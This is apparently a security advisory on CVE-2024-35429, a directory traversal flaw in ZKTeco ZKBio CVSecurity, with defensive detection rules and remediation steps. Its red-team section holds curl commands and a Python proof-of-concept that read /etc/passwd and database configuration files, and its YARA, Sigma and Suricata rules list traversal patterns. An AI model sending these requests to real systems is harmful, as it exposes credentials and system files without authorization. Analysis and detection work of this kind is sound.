CVE-2024-35429

Executive Summary

CVE-2024-35429 is a directory traversal vulnerability discovered in ZKTeco ZKBio CVSecurity version 6.1.1. The flaw exists in the eventRecord parameter, allowing an unauthenticated attacker to read arbitrary files on the server's filesystem. This can lead to the disclosure of sensitive configuration files, credentials, and other critical data. The vulnerability is classified under CWE-22 (Improper Limitation of a Pathname to a Restricted Directory). No official patch has been released by the vendor at the time of this analysis.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a standalone enterprise security application (ZKBio CVSecurity) used for biometric access control and time attendance management.

CVSS Breakdown & Threat Level

The CVSS score is currently listed as 0.0, likely due to incomplete or missing vector information from the NVD. However, based on the nature of the vulnerability (directory traversal, unauthenticated), a reasonable estimated CVSS v3.1 vector would be:

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Estimated Base Score: 7.5 (High)

Breakdown:

• Attack Vector (AV): Network – exploitable remotely.
• Attack Complexity (AC): Low – no special conditions required.
• Privileges Required (PR): None – no authentication needed.
• User Interaction (UI): None – no user action required.
• Scope (S): Unchanged – the vulnerable component and the affected resource are the same.
• Confidentiality (C): High – sensitive files can be read.
• Integrity (I): None – no file modification possible.
• Availability (A): None – no denial of service.

Threat Level: High. The vulnerability is trivial to exploit and can lead to full disclosure of system configuration, database credentials, and other secrets.

Deep Dive & Mechanics

The ZKBio CVSecurity application is a web-based platform for managing biometric devices. The vulnerability resides in the handling of the eventRecord parameter, likely within a REST API endpoint or a web page that processes event logs.

Root Cause: The application fails to sanitize user-supplied input to the eventRecord parameter. An attacker can inject path traversal sequences (e.g., ../) to navigate outside the intended directory and read arbitrary files.

Attack Vector: An HTTP GET or POST request to a vulnerable endpoint (e.g., /some/endpoint?eventRecord=../../../etc/passwd).

Impact: An attacker can read:

• System files (/etc/passwd, /etc/shadow)
• Application configuration files (database credentials, API keys)
• Source code (if readable)
• Other sensitive data on the server

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable code pattern.

Vulnerable Code (Conceptual):

# Vulnerable Python-like pseudocode
def get_event_record(eventRecord):
    # No input validation
    file_path = "/var/log/events/" + eventRecord
    with open(file_path, 'r') as f:
        return f.read()

Patched Code (Conceptual):

# Patched Python-like pseudocode
import os

def get_event_record(eventRecord):
    # Sanitize input
    safe_path = os.path.normpath("/var/log/events/" + eventRecord)
    # Ensure the resolved path is within the allowed directory
    if not safe_path.startswith("/var/log/events/"):
        raise ValueError("Invalid path")
    with open(safe_path, 'r') as f:
        return f.read()

Exploitation & Lab Setup

Red Team

Prerequisites:

• A target running ZKTeco ZKBio CVSecurity 6.1.1
• Network access to the web interface

Exploitation Steps:

1. Identify the vulnerable endpoint. Common endpoints might include:

   • /eventRecord
   • /api/eventRecord
   • /log/eventRecord

2. Craft a directory traversal payload. Example:

   GET /eventRecord?eventRecord=../../../etc/passwd HTTP/1.1
   Host: target.com
   

3. Execute the request. Use curl:

   curl -v "http://target.com/eventRecord?eventRecord=../../../etc/passwd"
   

4. Read sensitive files. For example, to read the application configuration:

   curl -v "http://target.com/eventRecord?eventRecord=../../../config/database.ini"
   

Proof of Concept (PoC) Script:

import requests

target = "http://target.com"
endpoint = "/eventRecord"
payload = "../../../etc/passwd"

url = f"{target}{endpoint}?eventRecord={payload}"
response = requests.get(url)

if response.status_code == 200:
    print("[+] Success! File contents:")
    print(response.text)
else:
    print(f"[-] Failed with status code: {response.status_code}")

Blue Team

Detection & Prevention:

• Web Application Firewall (WAF): Deploy rules to block path traversal patterns (e.g., ../, ..\\, %2e%2e%2f).
• Input Validation: Ensure the application validates and sanitizes all user inputs, especially file paths.
• Least Privilege: Run the application with minimal filesystem permissions.
• Monitoring: Alert on requests containing path traversal sequences in parameters.

Honeypot: Set up a fake endpoint that logs all attempts and alerts the security team.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests containing eventRecord parameter with ../ or ..\\ sequences.
• Requests to endpoints like /eventRecord, /api/eventRecord, /log/eventRecord.
• Outbound connections from the server to unknown IPs (data exfiltration).

File System IOCs:

• Unexpected access to /etc/passwd, /etc/shadow, or other sensitive files.
• Modified or new files in the application's log directory.

Log IOCs:

• Web server logs showing 404 or 500 errors for path traversal attempts.
• Application logs showing failed file read operations.

Detection Engineering

YARA Rule

rule CVE_2024_35429_Directory_Traversal {
    meta:
        description = "Detects directory traversal attempts targeting ZKTeco ZKBio CVSecurity eventRecord parameter"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-35429"
    strings:
        $traversal1 = "../"
        $traversal2 = "..\\"
        $traversal3 = "%2e%2e%2f"
        $traversal4 = "%2e%2e\\"
        $param = "eventRecord"
    condition:
        any of ($traversal*) and $param
}

Sigma Rule

title: CVE-2024-35429 Directory Traversal in ZKTeco ZKBio CVSecurity
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects directory traversal attempts via eventRecord parameter
author: Valters IT
date: 2024/01/01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-35429
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains:
            - 'eventRecord=../'
            - 'eventRecord=..\\'
            - 'eventRecord=%2e%2e%2f'
            - 'eventRecord=%2e%2e\\'
    condition: selection
falsepositives:
    - Legitimate use of relative paths (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-35429 ZKTeco ZKBio CVSecurity Directory Traversal"; flow:to_server,established; content:"eventRecord"; http_uri; content:"../"; distance:0; within:10; http_uri; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the affected system from the internet if possible.
2. Apply virtual patching via WAF rules to block path traversal patterns.
3. Monitor logs for any signs of exploitation.

Long-term Fix:

• Vendor Patch: Await an official patch from ZKTeco. Contact their support for an ETA.
• Code Fix: If you have access to the source code, implement proper input validation and path sanitization as shown in the "Patched Code" section.
• Upgrade: If a patched version becomes available, upgrade immediately.

Compensating Controls:

• Network Segmentation: Place the ZKBio CVSecurity server in a DMZ with strict access controls.
• Least Privilege: Run the application with a dedicated low-privilege user account.
• File Integrity Monitoring (FIM): Monitor critical system files for unauthorized access.

Valters IT
Securing Digital Frontiers